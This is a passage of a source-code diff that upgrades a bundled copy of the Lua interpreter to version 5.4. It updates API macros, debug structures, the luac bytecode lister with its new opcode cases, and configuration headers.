(lua_setallocf)(lua_State *L, lua_Alloc f, void *ud); +LUA_API void (lua_toclose)(lua_State *L, int idx); +LUA_API void (lua_closeslot)(lua_State *L, int idx); /* -** =============================================================== +** {============================================================== ** some useful macros ** =============================================================== */ -#define lua_tonumber(L,i) lua_tonumberx(L,i,NULL) -#define lua_tointeger(L,i) lua_tointegerx(L,i,NULL) -#define lua_tounsigned(L,i) lua_tounsignedx(L,i,NULL) +#define lua_getextraspace(L) ((void *)((char *)(L) - LUA_EXTRASPACE)) -#define lua_pop(L,n) lua_settop(L, -(n)-1) +#define lua_tonumber(L,i) lua_tonumberx(L,(i),NULL) +#define lua_tointeger(L,i) lua_tointegerx(L,(i),NULL) -#define lua_newtable(L) lua_createtable(L, 0, 0) +#define lua_pop(L,n) lua_settop(L, -(n)-1) -#define lua_register(L,n,f) \ - (lua_pushcfunction(L, (f)), lua_setglobal(L, (n))) +#define lua_newtable(L) lua_createtable(L, 0, 0) -#define lua_pushcfunction(L,f) lua_pushcclosure(L, (f), 0) +#define lua_register(L,n,f) (lua_pushcfunction(L, (f)), lua_setglobal(L, (n))) -#define lua_isfunction(L,n) (lua_type(L, (n)) == LUA_TFUNCTION) -#define lua_istable(L,n) (lua_type(L, (n)) == LUA_TTABLE) -#define lua_islightuserdata(L,n) (lua_type(L, (n)) == LUA_TLIGHTUSERDATA) -#define lua_isnil(L,n) (lua_type(L, (n)) == LUA_TNIL) -#define lua_isboolean(L,n) (lua_type(L, (n)) == LUA_TBOOLEAN) -#define lua_isthread(L,n) (lua_type(L, (n)) == LUA_TTHREAD) -#define lua_isnone(L,n) (lua_type(L, (n)) == LUA_TNONE) -#define lua_isnoneornil(L, n) (lua_type(L, (n)) <= 0) +#define lua_pushcfunction(L,f) lua_pushcclosure(L, (f), 0) -#define lua_pushliteral(L, s) \ - lua_pushlstring(L, "" s, (sizeof(s)/sizeof(char))-1) +#define lua_isfunction(L,n) (lua_type(L, (n)) == LUA_TFUNCTION) +#define lua_istable(L,n) (lua_type(L, (n)) == LUA_TTABLE) +#define lua_islightuserdata(L,n) (lua_type(L, (n)) == LUA_TLIGHTUSERDATA) +#define lua_isnil(L,n) (lua_type(L, (n)) == LUA_TNIL) +#define lua_isboolean(L,n) (lua_type(L, (n)) == LUA_TBOOLEAN) +#define lua_isthread(L,n) (lua_type(L, (n)) == LUA_TTHREAD) +#define lua_isnone(L,n) (lua_type(L, (n)) == LUA_TNONE) +#define lua_isnoneornil(L, n) (lua_type(L, (n)) <= 0) -#define lua_pushglobaltable(L) \ - lua_rawgeti(L, LUA_REGISTRYINDEX, LUA_RIDX_GLOBALS) +#define lua_pushliteral(L, s) lua_pushstring(L, "" s) -#define lua_tostring(L,i) lua_tolstring(L, (i), NULL) +#define lua_pushglobaltable(L) \ + ((void)lua_rawgeti(L, LUA_REGISTRYINDEX, LUA_RIDX_GLOBALS)) + +#define lua_tostring(L,i) lua_tolstring(L, (i), NULL) +#define lua_insert(L,idx) lua_rotate(L, (idx), 1) + +#define lua_remove(L,idx) (lua_rotate(L, (idx), -1), lua_pop(L, 1)) + +#define lua_replace(L,idx) (lua_copy(L, -1, (idx)), lua_pop(L, 1)) + +/* }============================================================== */ + + +/* +** {============================================================== +** compatibility macros +** =============================================================== +*/ +#if defined(LUA_COMPAT_APIINTCASTS) + +#define lua_pushunsigned(L,n) lua_pushinteger(L, (lua_Integer)(n)) +#define lua_tounsignedx(L,i,is) ((lua_Unsigned)lua_tointegerx(L,i,is)) +#define lua_tounsigned(L,i) lua_tounsignedx(L,(i),NULL) + +#endif + +#define lua_newuserdata(L,s) lua_newuserdatauv(L,s,1) +#define lua_getuservalue(L,idx) lua_getiuservalue(L,idx,1) +#define lua_setuservalue(L,idx) lua_setiuservalue(L,idx,1) + +#define LUA_NUMTAGS LUA_NUMTYPES + +/* }============================================================== */ /* ** {====================================================================== @@ -358,26 +438,20 @@ LUA_API void (lua_setallocf)(lua_State *L, lua_Alloc f, void *ud); /* ** Event codes */ -#define LUA_HOOKCALL 0 -#define LUA_HOOKRET 1 -#define LUA_HOOKLINE 2 -#define LUA_HOOKCOUNT 3 +#define LUA_HOOKCALL 0 +#define LUA_HOOKRET 1 +#define LUA_HOOKLINE 2 +#define LUA_HOOKCOUNT 3 #define LUA_HOOKTAILCALL 4 /* ** Event masks */ -#define LUA_MASKCALL (1 << LUA_HOOKCALL) -#define LUA_MASKRET (1 << LUA_HOOKRET) -#define LUA_MASKLINE (1 << LUA_HOOKLINE) -#define LUA_MASKCOUNT (1 << LUA_HOOKCOUNT) - -typedef struct lua_Debug lua_Debug; /* activation record */ - - -/* Functions to be called by the debugger in specific events */ -typedef void (*lua_Hook)(lua_State *L, lua_Debug *ar); +#define LUA_MASKCALL (1 << LUA_HOOKCALL) +#define LUA_MASKRET (1 << LUA_HOOKRET) +#define LUA_MASKLINE (1 << LUA_HOOKLINE) +#define LUA_MASKCOUNT (1 << LUA_HOOKCOUNT) LUA_API int (lua_getstack)(lua_State *L, int level, lua_Debug *ar); @@ -391,25 +465,29 @@ LUA_API void *(lua_upvalueid)(lua_State *L, int fidx, int n); LUA_API void (lua_upvaluejoin)(lua_State *L, int fidx1, int n1, int fidx2, int n2); -LUA_API int (lua_sethook)(lua_State *L, lua_Hook func, int mask, int count); +LUA_API void (lua_sethook)(lua_State *L, lua_Hook func, int mask, int count); LUA_API lua_Hook(lua_gethook)(lua_State *L); LUA_API int (lua_gethookmask)(lua_State *L); LUA_API int (lua_gethookcount)(lua_State *L); +LUA_API int (lua_setcstacklimit)(lua_State *L, unsigned int limit); struct lua_Debug { int event; - const char *name; /* (n) */ - const char *namewhat; /* (n) 'global', 'local', 'field', 'method' */ - const char *what; /* (S) 'Lua', 'C', 'main', 'tail' */ - const char *source; /* (S) */ - int currentline; /* (l) */ - int linedefined; /* (S) */ - int lastlinedefined; /* (S) */ - unsigned char nups; /* (u) number of upvalues */ + const char *name; /* (n) */ + const char *namewhat; /* (n) 'global', 'local', 'field', 'method' */ + const char *what; /* (S) 'Lua', 'C', 'main', 'tail' */ + const char *source; /* (S) */ + size_t srclen; /* (S) */ + int currentline; /* (l) */ + int linedefined; /* (S) */ + int lastlinedefined; /* (S) */ + unsigned char nups; /* (u) number of upvalues */ unsigned char nparams;/* (u) number of parameters */ char isvararg; /* (u) */ - char istailcall; /* (t) */ + char istailcall; /* (t) */ + unsigned short ftransfer; /* (r) index of first value transferred */ + unsigned short ntransfer; /* (r) number of transferred values */ char short_src[LUA_IDSIZE]; /* (S) */ /* private part */ struct CallInfo *i_ci; /* active function */ @@ -419,7 +497,7 @@ struct lua_Debug { /****************************************************************************** -* Copyright (C) 1994-2015 Lua.org, PUC-Rio. +* Copyright (C) 1994-2024 Lua.org, PUC-Rio. * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files (the diff --git a/client/deps/liblua/luac.c b/client/deps/liblua/luac.c index bf46f82cf..35af873d3 100644 --- a/client/deps/liblua/luac.c +++ b/client/deps/liblua/luac.c @@ -1,36 +1,43 @@ /* -** $Id: luac.c,v 1.69 2011/11/29 17:46:33 lhf Exp $ -** Lua compiler (saves bytecodes to files; also list bytecodes) +** $Id: luac.c $ +** Lua compiler (saves bytecodes to files; also lists bytecodes) ** See Copyright Notice in lua.h */ +#define luac_c +#define LUA_CORE + +#include "lprefix.h" + +#include #include #include #include #include -#define luac_c -#define LUA_CORE - #include "lua.h" #include "lauxlib.h" +#include "ldebug.h" #include "lobject.h" +#include "lopcodes.h" +#include "lopnames.h" #include "lstate.h" #include "lundump.h" static void PrintFunction(const Proto *f, int full); -#define luaU_print PrintFunction +#define luaU_print PrintFunction -#define PROGNAME "luac" /* default program name */ -#define OUTPUT PROGNAME ".out" /* default output file */ +#define PROGNAME "luac" /* default program name */ +#define OUTPUT PROGNAME ".out" /* default output file */ -static int listing = 0; /* list bytecodes? */ -static int dumping = 1; /* dump bytecodes? */ -static int stripping = 0; /* strip debug information? */ -static char Output[] = { OUTPUT }; /* default output file name */ -static const char *output = Output; /* actual output file name */ -static const char *progname = PROGNAME; /* actual program name */ +static int listing = 0; /* list bytecodes? */ +static int dumping = 1; /* dump bytecodes? */ +static int stripping = 0; /* strip debug information? */ +static char Output[] = { OUTPUT }; /* default output file name */ +static const char *output = Output; /* actual output file name */ +static const char *progname = PROGNAME; /* actual program name */ +static TString **tmname; static void fatal(const char *message) { fprintf(stderr, "%s: %s\n", progname, message); @@ -44,14 +51,14 @@ static void cannot(const char *what) { static void usage(const char *message) { if (*message == '-') - fprintf(stderr, "%s: unrecognized option " LUA_QS "\n", progname, message); + fprintf(stderr, "%s: unrecognized option '%s'\n", progname, message); else fprintf(stderr, "%s: %s\n", progname, message); fprintf(stderr, "usage: %s [options] [filenames]\n" "Available options are:\n" " -l list (use -l -l for full listing)\n" - " -o name output to file " LUA_QL("name") " (default is \"%s\")\n" + " -o name output to file 'name' (default is \"%s\")\n" " -p parse only\n" " -s strip debug information\n" " -v show version information\n" @@ -61,35 +68,35 @@ static void usage(const char *message) { exit(EXIT_FAILURE); } -#define IS(s) (strcmp(argv[i],s)==0) +#define IS(s) (strcmp(argv[i],s)==0) static int doargs(int argc, char *argv[]) { int i; int version = 0; if (argv[0] != NULL && *argv[0] != 0) progname = argv[0]; for (i = 1; i < argc; i++) { - if (*argv[i] != '-') /* end of options; keep it */ + if (*argv[i] != '-') /* end of options; keep it */ break; - else if (IS("--")) { /* end of options; skip it */ + else if (IS("--")) { /* end of options; skip it */ ++i; if (version) ++version; break; - } else if (IS("-")) /* end of options; use stdin */ + } else if (IS("-")) /* end of options; use stdin */ break; - else if (IS("-l")) /* list */ + else if (IS("-l")) /* list */ ++listing; - else if (IS("-o")) { /* output file */ + else if (IS("-o")) { /* output file */ output = argv[++i]; if (output == NULL || *output == 0 || (*output == '-' && output[1] != 0)) - usage(LUA_QL("-o") " needs argument"); + usage("'-o' needs argument"); if (IS("-")) output = NULL; - } else if (IS("-p")) /* parse only */ + } else if (IS("-p")) /* parse only */ dumping = 0; - else if (IS("-s")) /* strip debug information */ + else if (IS("-s")) /* strip debug information */ stripping = 1; - else if (IS("-v")) /* show version */ + else if (IS("-v")) /* show version */ ++version; - else /* unknown option */ + else /* unknown option */ usage(argv[i]); } if (i == argc && (listing || !dumping)) { @@ -103,7 +110,7 @@ static int doargs(int argc, char *argv[]) { return i; } -#define FUNCTION "(function()end)();" +#define FUNCTION "(function()end)();\n" static const char *reader(lua_State *L, void *ud, size_t *size) { UNUSED(L); @@ -116,7 +123,7 @@ static const char *reader(lua_State *L, void *ud, size_t *size) { } } -#define toproto(L,i) getproto(L->top+(i)) +#define toproto(L,i) getproto(s2v(L->top.p+(i))) static const Proto *combine(lua_State *L, int n) { if (n == 1) @@ -130,7 +137,6 @@ static const Proto *combine(lua_State *L, int n) { f->p[i] = toproto(L, i - n - 1); if (f->p[i]->sizeupvalues > 0) f->p[i]->upvalues[0].instack = 0; } - f->sizelineinfo = 0; return f; } } @@ -145,6 +151,7 @@ static int pmain(lua_State *L) { char **argv = (char **)lua_touserdata(L, 2); const Proto *f; int i; + tmname = G(L)->tmname; if (!lua_checkstack(L, argc)) fatal("too many input files"); for (i = 0; i < argc; i++) { const char *filename = IS("-") ? NULL : argv[i]; @@ -181,27 +188,17 @@ int main(int argc, char *argv[]) { } /* -** $Id: print.c,v 1.68 2011/09/30 10:21:20 lhf Exp $ ** print bytecodes -** See Copyright Notice in lua.h */ -#include -#include - -#define luac_c -#define LUA_CORE - -#include "ldebug.h" -#include "lobject.h" -#include "lopcodes.h" - +#define UPVALNAME(x) ((f->upvalues[x].name) ? getstr(f->upvalues[x].name) : "-") #define VOID(p) ((const void*)(p)) +#define eventname(i) (getstr(tmname[i])) static void PrintString(const TString *ts) { const char *s = getstr(ts); - size_t i, n = ts->tsv.len; - printf("%c", '"'); + size_t i, n = tsslen(ts); + printf("\""); for (i = 0; i < n; i++) { int c = (int)(unsigned char)s[i]; switch (c) { @@ -233,38 +230,77 @@ static void PrintString(const TString *ts) { printf("\\v"); break; default: - if (isprint(c)) - printf("%c", c); - else - printf("\\%03d", c); + if (isprint(c)) printf("%c", c); + else printf("\\%03d", c); + break; } } - printf("%c", '"'); + printf("\""); +} + +static void PrintType(const Proto *f, int i) { + const TValue *o = &f->k[i]; + switch (ttypetag(o)) { + case LUA_VNIL: + printf("N"); + break; + case LUA_VFALSE: + case LUA_VTRUE: + printf("B"); + break; + case LUA_VNUMFLT: + printf("F"); + break; + case LUA_VNUMINT: + printf("I"); + break; + case LUA_VSHRSTR: + case LUA_VLNGSTR: + printf("S"); + break; + default: /* cannot happen */ + printf("?%d", ttypetag(o)); + break; + } + printf("\t"); } static void PrintConstant(const Proto *f, int i) { const TValue *o = &f->k[i]; - switch (ttype(o)) { - case LUA_TNIL: + switch (ttypetag(o)) { + case LUA_VNIL: printf("nil"); break; - case LUA_TBOOLEAN: - printf(bvalue(o) ? "true" : "false"); + case LUA_VFALSE: + printf("false"); break; - case LUA_TNUMBER: - printf(LUA_NUMBER_FMT, nvalue(o)); + case LUA_VTRUE: + printf("true"); break; - case LUA_TSTRING: - PrintString(rawtsvalue(o)); + case LUA_VNUMFLT: { + char buff[100]; + sprintf(buff, LUA_NUMBER_FMT, fltvalue(o)); + printf("%s", buff); + if (buff[strspn(buff, "-0123456789")] == '\0') printf(".0"); break; - default: /* cannot happen */ - printf("? type=%d", ttype(o)); + } + case LUA_VNUMINT: + printf(LUA_INTEGER_FMT, ivalue(o)); + break; + case LUA_VSHRSTR: + case LUA_VLNGSTR: + PrintString(tsvalue(o)); + break; + default: /* cannot happen */ + printf("?%d", ttypetag(o)); break; } } -#define UPVALNAME(x) ((f->upvalues[x].name) ? getstr(f->upvalues[x].name) : "-") -#define MYK(x) (-1-(x)) +#define COMMENT "\t; " +#define EXTRAARG GETARG_Ax(code[pc+1]) +#define EXTRAARGC (EXTRAARG*(MAXARG_C+1)) +#define ISK (isk ? "k" : "") static void PrintCode(const Proto *f) { const Instruction *code = f->code; @@ -277,96 +313,348 @@ static void PrintCode(const Proto *f) { int c = GETARG_C(i); int ax = GETARG_Ax(i); int bx = GETARG_Bx(i); + int sb = GETARG_sB(i); + int sc = GETARG_sC(i); int sbx = GETARG_sBx(i); - int line = getfuncline(f, pc); + int isk = GETARG_k(i); + int line = luaG_getfuncline(f, pc); printf("\t%d\t", pc + 1); if (line > 0) printf("[%d]\t", line); else printf("[-]\t"); - printf("%-9s\t", luaP_opnames[o]); - switch (getOpMode(o)) { - case iABC: - printf("%d", a); - if (getBMode(o) != OpArgN) printf(" %d", ISK(b) ? (MYK(INDEXK(b))) : b); - if (getCMode(o) != OpArgN) printf(" %d", ISK(c) ? (MYK(INDEXK(c))) : c); + printf("%-9s\t", opnames[o]); + switch (o) { + case OP_MOVE: + printf("%d %d", a, b); break; - case iABx: - printf("%d", a); - if (getBMode(o) == OpArgK) printf(" %d", MYK(bx)); - if (getBMode(o) == OpArgU) printf(" %d", bx); - break; - case iAsBx: + case OP_LOADI: printf("%d %d", a, sbx); break; - case iAx: - printf("%d", MYK(ax)); + case OP_LOADF: + printf("%d %d", a, sbx); break; - } - switch (o) { case OP_LOADK: - printf("\t; "); + printf("%d %d", a, bx); + printf(COMMENT); PrintConstant(f, bx); break; + case OP_LOADKX: + printf("%d", a); + printf(COMMENT); + PrintConstant(f, EXTRAARG); + break; + case OP_LOADFALSE: + printf("%d", a); + break; + case OP_LFALSESKIP: + printf("%d", a); + break; + case OP_LOADTRUE: + printf("%d", a); + break; + case OP_LOADNIL: + printf("%d %d", a, b); + printf(COMMENT "%d out", b + 1); + break; case OP_GETUPVAL: + printf("%d %d", a, b); + printf(COMMENT "%s", UPVALNAME(b)); + break; case OP_SETUPVAL: - printf("\t; %s", UPVALNAME(b)); + printf("%d %d", a, b); + printf(COMMENT "%s", UPVALNAME(b)); break; case OP_GETTABUP: - printf("\t; %s", UPVALNAME(b)); - if (ISK(c)) { printf(" "); PrintConstant(f, INDEXK(c)); } - break; - case OP_SETTABUP: - printf("\t; %s", UPVALNAME(a)); - if (ISK(b)) { printf(" "); PrintConstant(f, INDEXK(b)); } - if (ISK(c)) { printf(" "); PrintConstant(f, INDEXK(c)); } + printf("%d %d %d", a, b, c); + printf(COMMENT "%s", UPVALNAME(b)); + printf(" "); + PrintConstant(f, c); break; case OP_GETTABLE: - case OP_SELF: - if (ISK(c)) { printf("\t; "); PrintConstant(f, INDEXK(c)); } + printf("%d %d %d", a, b, c); + break; + case OP_GETI: + printf("%d %d %d", a, b, c); + break; + case OP_GETFIELD: + printf("%d %d %d", a, b, c); + printf(COMMENT); + PrintConstant(f, c); + break; + case OP_SETTABUP: + printf("%d %d %d%s", a, b, c, ISK); + printf(COMMENT "%s", UPVALNAME(a)); + printf(" "); + PrintConstant(f, b); + if (isk) { printf(" "); PrintConstant(f, c); } break; case OP_SETTABLE: + printf("%d %d %d%s", a, b, c, ISK); + if (isk) { printf(COMMENT); PrintConstant(f, c); } + break; + case OP_SETI: + printf("%d %d %d%s", a, b, c, ISK); + if (isk) { printf(COMMENT); PrintConstant(f, c); } + break; + case OP_SETFIELD: + printf("%d %d %d%s", a, b, c, ISK); + printf(COMMENT); + PrintConstant(f, b); + if (isk) { printf(" "); PrintConstant(f, c); } + break; + case OP_NEWTABLE: + printf("%d %d %d", a, b, c); + printf(COMMENT "%d", c + EXTRAARGC); + break; + case OP_SELF: + printf("%d %d %d%s", a, b, c, ISK); + if (isk) { printf(COMMENT); PrintConstant(f, c); } + break; + case OP_ADDI: + printf("%d %d %d", a, b, sc); + break; + case OP_ADDK: + printf("%d %d %d", a, b, c); + printf(COMMENT); + PrintConstant(f, c); + break; + case OP_SUBK: + printf("%d %d %d", a, b, c); + printf(COMMENT); + PrintConstant(f, c); + break; + case OP_MULK: + printf("%d %d %d", a, b, c); + printf(COMMENT); + PrintConstant(f, c); + break; + case OP_MODK: + printf("%d %d %d", a, b, c); + printf(COMMENT); + PrintConstant(f, c); + break; + case OP_POWK: + printf("%d %d %d", a, b, c); + printf(COMMENT); + PrintConstant(f, c); + break; + case OP_DIVK: + printf("%d %d %d", a, b, c); + printf(COMMENT); + PrintConstant(f, c); + break; + case OP_IDIVK: + printf("%d %d %d", a, b, c); + printf(COMMENT); + PrintConstant(f, c); + break; + case OP_BANDK: + printf("%d %d %d", a, b, c); + printf(COMMENT); + PrintConstant(f, c); + break; + case OP_BORK: + printf("%d %d %d", a, b, c); + printf(COMMENT); + PrintConstant(f, c); + break; + case OP_BXORK: + printf("%d %d %d", a, b, c); + printf(COMMENT); + PrintConstant(f, c); + break; + case OP_SHRI: + printf("%d %d %d", a, b, sc); + break; + case OP_SHLI: + printf("%d %d %d", a, b, sc); + break; case OP_ADD: + printf("%d %d %d", a, b, c); + break; case OP_SUB: + printf("%d %d %d", a, b, c); + break; case OP_MUL: - case OP_DIV: + printf("%d %d %d", a, b, c); + break; + case OP_MOD: + printf("%d %d %d", a, b, c); + break; case OP_POW: - case OP_EQ: - case OP_LT: - case OP_LE: - if (ISK(b) || ISK(c)) { - printf("\t; "); - if (ISK(b)) PrintConstant(f, INDEXK(b)); - else printf("-"); - printf(" "); - if (ISK(c)) PrintConstant(f, INDEXK(c)); - else printf("-"); - } + printf("%d %d %d", a, b, c); + break; + case OP_DIV: + printf("%d %d %d", a, b, c); + break; + case OP_IDIV: + printf("%d %d %d", a, b, c); + break; + case OP_BAND: + printf("%d %d %d", a, b, c); + break; + case OP_BOR: + printf("%d %d %d", a, b, c); + break; + case OP_BXOR: + printf("%d %d %d", a, b, c); + break; + case OP_SHL: + printf("%d %d %d", a, b, c); + break; + case OP_SHR: + printf("%d %d %d", a, b, c); + break; + case OP_MMBIN: + printf("%d %d %d", a, b, c); + printf(COMMENT "%s", eventname(c)); + break; + case OP_MMBINI: + printf("%d %d %d %d", a, sb, c, isk); + printf(COMMENT "%s", eventname(c)); + if (isk) printf(" flip"); + break; + case OP_MMBINK: + printf("%d %d %d %d", a, b, c, isk); + printf(COMMENT "%s ", eventname(c)); + PrintConstant(f, b); + if (isk) printf(" flip"); + break; + case OP_UNM: + printf("%d %d", a, b); + break; + case OP_BNOT: + printf("%d %d", a, b); + break; + case OP_NOT: + printf("%d %d", a, b); + break; + case OP_LEN: + printf("%d %d", a, b); + break; + case OP_CONCAT: + printf("%d %d", a, b); + break; + case OP_CLOSE: + printf("%d", a); + break; + case OP_TBC: + printf("%d", a); break; case OP_JMP: - case OP_FORLOOP: - case OP_FORPREP: - case OP_TFORLOOP: - printf("\t; to %d", sbx + pc + 2); + printf("%d", GETARG_sJ(i)); + printf(COMMENT "to %d", GETARG_sJ(i) + pc + 2); break; - case OP_CLOSURE: - printf("\t; %p", VOID(f->p[bx])); + case OP_EQ: + printf("%d %d %d", a, b, isk); + break; + case OP_LT: + printf("%d %d %d", a, b, isk); + break; + case OP_LE: + printf("%d %d %d", a, b, isk); + break; + case OP_EQK: + printf("%d %d %d", a, b, isk); + printf(COMMENT); + PrintConstant(f, b); + break; + case OP_EQI: + printf("%d %d %d", a, sb, isk); + break; + case OP_LTI: + printf("%d %d %d", a, sb, isk); + break; + case OP_LEI: + printf("%d %d %d", a, sb, isk); + break; + case OP_GTI: + printf("%d %d %d", a, sb, isk); + break; + case OP_GEI: + printf("%d %d %d", a, sb, isk); + break; + case OP_TEST: + printf("%d %d", a, isk); + break; + case OP_TESTSET: + printf("%d %d %d", a, b, isk); + break; + case OP_CALL: + printf("%d %d %d", a, b, c); + printf(COMMENT); + if (b == 0) printf("all in "); + else printf("%d in ", b - 1); + if (c == 0) printf("all out"); + else printf("%d out", c - 1); + break; + case OP_TAILCALL: + printf("%d %d %d%s", a, b, c, ISK); + printf(COMMENT "%d in", b - 1); + break; + case OP_RETURN: + printf("%d %d %d%s", a, b, c, ISK); + printf(COMMENT); + if (b == 0) printf("all out"); + else printf("%d out", b - 1); + break; + case OP_RETURN0: + break; + case OP_RETURN1: + printf("%d", a); + break; + case OP_FORLOOP: + printf("%d %d", a, bx); + printf(COMMENT "to %d", pc - bx + 2); + break; + case OP_FORPREP: + printf("%d %d", a, bx); + printf(COMMENT "exit to %d", pc + bx + 3); + break; + case OP_TFORPREP: + printf("%d %d", a, bx); + printf(COMMENT "to %d", pc + bx + 2); + break; + case OP_TFORCALL: + printf("%d %d", a, c); + break; + case OP_TFORLOOP: + printf("%d %d", a, bx); + printf(COMMENT "to %d", pc - bx + 2); break; case OP_SETLIST: - if (c == 0) printf("\t; %d", (int)code[++pc]); - else printf("\t; %d", c); + printf("%d %d %d", a, b, c); + if (isk) printf(COMMENT "%d", c + EXTRAARGC); + break; + case OP_CLOSURE: + printf("%d %d", a, bx); + printf(COMMENT "%p", VOID(f->p[bx])); + break; + case OP_VARARG: + printf("%d %d", a, c); + printf(COMMENT); + if (c == 0) printf("all out"); + else printf("%d out", c - 1); + break; + case OP_VARARGPREP: + printf("%d", a); break; case OP_EXTRAARG: - printf("\t; "); - PrintConstant(f, ax); + printf("%d", ax); break; +#if 0 default: + printf("%d %d %d", a, b, c); + printf(COMMENT "not handled"); break; +#endif } printf("\n"); } } -#define SS(x) ((x==1)?"":"s") -#define S(x) (int)(x),SS(x) + +#define SS(x) ((x==1)?"":"s") +#define S(x) (int)(x),SS(x) static void PrintHeader(const Proto *f) { const char *s = f->source ? getstr(f->source) : "=?"; @@ -392,7 +680,8 @@ static void PrintDebug(const Proto *f) { n = f->sizek; printf("constants (%d) for %p:\n", n, VOID(f)); for (i = 0; i < n; i++) { - printf("\t%d\t", i + 1); + printf("\t%d\t", i); + PrintType(f, i); PrintConstant(f, i); printf("\n"); } diff --git a/client/deps/liblua/luaconf.h b/client/deps/liblua/luaconf.h index f004a8bbb..f9a1aa48f 100644 --- a/client/deps/liblua/luaconf.h +++ b/client/deps/liblua/luaconf.h @@ -1,118 +1,245 @@ /* -** $Id: luaconf.h,v 1.176 2013/03/16 21:10:18 roberto Exp $ +** $Id: luaconf.h $ ** Configuration file for Lua ** See Copyright Notice in lua.h */ -#ifndef lconfig_h -#define lconfig_h - -#if defined(__APPLE__) -#include "TargetConditionals.h" -#endif +#ifndef luaconf_h +#define luaconf_h #include #include /* -** ================================================================== +** =================================================================== +** General Configuration File for Lua +** +** Some definitions here can be changed externally, through the compiler +** (e.g., with '-D' options): They are commented out or protected +** by '#if !defined' guards. However, several other definitions +** should be changed directly here, either because they affect the +** Lua ABI (by making the changes here, you ensure that all software +** connected to Lua, such as C libraries, will be compiled with the same +** configuration); or because they are seldom changed. +** ** Search for "@@" to find all configurable definitions. ** =================================================================== */ /* -@@ LUA_ANSI controls the use of non-ansi features. -** CHANGE it (define it) if you want Lua to avoid the use of any -** non-ansi feature or library. +** {==================================================================== +** System Configuration: macros to adapt (if needed) Lua to some +** particular platform, for instance restricting it to C89. +** ===================================================================== */ -#if !defined(LUA_ANSI) && defined(__STRICT_ANSI__) -#define LUA_ANSI + +/* +@@ LUA_USE_C89 controls the use of non-ISO-C89 features. +** Define it if you want Lua to avoid the use of a few C99 features +** or Windows-specific features on Windows. +*/ +/* #define LUA_USE_C89 */ + + +/* +** By default, Lua on Windows use (some) specific Windows features +*/ +#if !defined(LUA_USE_C89) && defined(_WIN32) && !defined(_WIN32_WCE) +#define LUA_USE_WINDOWS /* enable goodies for regular Windows */ #endif -#if !defined(LUA_ANSI) && defined(_WIN32) && !defined(_WIN32_WCE) -#define LUA_WIN /* enable goodies for regular Windows platforms */ +#if defined(LUA_USE_WINDOWS) +#define LUA_DL_DLL /* enable support for DLL */ +#define LUA_USE_C89 /* broadly, Windows is C89 */ #endif -#if defined(LUA_WIN) -#define LUA_DL_DLL -#define LUA_USE_AFORMAT /* assume 'printf' handles 'aA' specifiers */ -#endif - - #if defined(LUA_USE_LINUX) #define LUA_USE_POSIX -#define LUA_USE_DLOPEN /* needs an extra library: -ldl */ -#define LUA_USE_READLINE /* needs some extra libraries */ -#define LUA_USE_STRTODHEX /* assume 'strtod' handles hex formats */ -#define LUA_USE_AFORMAT /* assume 'printf' handles 'aA' specifiers */ -#define LUA_USE_LONGLONG /* assume support for long long */ +#define LUA_USE_DLOPEN /* needs an extra library: -ldl */ #endif + #if defined(LUA_USE_MACOSX) #define LUA_USE_POSIX -#define LUA_USE_DLOPEN /* does not need -ldl */ -#define LUA_USE_READLINE /* needs an extra library: -lreadline */ -#define LUA_USE_STRTODHEX /* assume 'strtod' handles hex formats */ -#define LUA_USE_AFORMAT /* assume 'printf' handles 'aA' specifiers */ -#define LUA_USE_LONGLONG /* assume support for long long */ +#define LUA_USE_DLOPEN /* MacOS does not need -ldl */ #endif +#if defined(LUA_USE_IOS) +#define LUA_USE_POSIX +#define LUA_USE_DLOPEN +#endif + + +/* +@@ LUAI_IS32INT is true iff 'int' has (at least) 32 bits. +*/ +#define LUAI_IS32INT ((UINT_MAX >> 30) >= 3) + +/* }================================================================== */ + + /* -@@ LUA_USE_POSIX includes all functionality listed as X/Open System -@* Interfaces Extension (XSI). -** CHANGE it (define it) if your system is XSI compatible. +** {================================================================== +** Configuration for Number types. These options should not be +** set externally, because any other code connected to Lua must +** use the same configuration. +** =================================================================== */ -#if defined(LUA_USE_POSIX) -#define LUA_USE_MKSTEMP -#define LUA_USE_ISATTY -#define LUA_USE_POPEN -#define LUA_USE_ULONGJMP -#define LUA_USE_GMTIME_R + +/* +@@ LUA_INT_TYPE defines the type for Lua integers. +@@ LUA_FLOAT_TYPE defines the type for Lua floats. +** Lua should work fine with any mix of these options supported +** by your C compiler. The usual configurations are 64-bit integers +** and 'double' (the default), 32-bit integers and 'float' (for +** restricted platforms), and 'long'/'double' (for C compilers not +** compliant with C99, which may not have support for 'long long'). +*/ + +/* predefined options for LUA_INT_TYPE */ +#define LUA_INT_INT 1 +#define LUA_INT_LONG 2 +#define LUA_INT_LONGLONG 3 + +/* predefined options for LUA_FLOAT_TYPE */ +#define LUA_FLOAT_FLOAT 1 +#define LUA_FLOAT_DOUBLE 2 +#define LUA_FLOAT_LONGDOUBLE 3 + + +/* Default configuration ('long long' and 'double', for 64-bit Lua) */ +#define LUA_INT_DEFAULT LUA_INT_LONGLONG +#define LUA_FLOAT_DEFAULT LUA_FLOAT_DOUBLE + + +/* +@@ LUA_32BITS enables Lua with 32-bit integers and 32-bit floats. +*/ +#define LUA_32BITS 0 + + +/* +@@ LUA_C89_NUMBERS ensures that Lua uses the largest types available for +** C89 ('long' and 'double'); Windows always has '__int64', so it does +** not need to use this case. +*/ +#if defined(LUA_USE_C89) && !defined(LUA_USE_WINDOWS) +#define LUA_C89_NUMBERS 1 +#else +#define LUA_C89_NUMBERS 0 #endif +#if LUA_32BITS /* { */ +/* +** 32-bit integers and 'float' +*/ +#if LUAI_IS32INT /* use 'int' if big enough */ +#define LUA_INT_TYPE LUA_INT_INT +#else /* otherwise use 'long' */ +#define LUA_INT_TYPE LUA_INT_LONG +#endif +#define LUA_FLOAT_TYPE LUA_FLOAT_FLOAT + +#elif LUA_C89_NUMBERS /* }{ */ +/* +** largest types available for C89 ('long' and 'double') +*/ +#define LUA_INT_TYPE LUA_INT_LONG +#define LUA_FLOAT_TYPE LUA_FLOAT_DOUBLE + +#else /* }{ */ +/* use defaults */ + +#define LUA_INT_TYPE LUA_INT_DEFAULT +#define LUA_FLOAT_TYPE LUA_FLOAT_DEFAULT + +#endif /* } */ + + +/* }================================================================== */ + + + +/* +** {================================================================== +** Configuration for Paths. +** =================================================================== +*/ + +/* +** LUA_PATH_SEP is the character that separates templates in a path. +** LUA_PATH_MARK is the string that marks the substitution points in a +** template. +** LUA_EXEC_DIR in a Windows path is replaced by the executable's +** directory. +*/ +#define LUA_PATH_SEP ";" +#define LUA_PATH_MARK 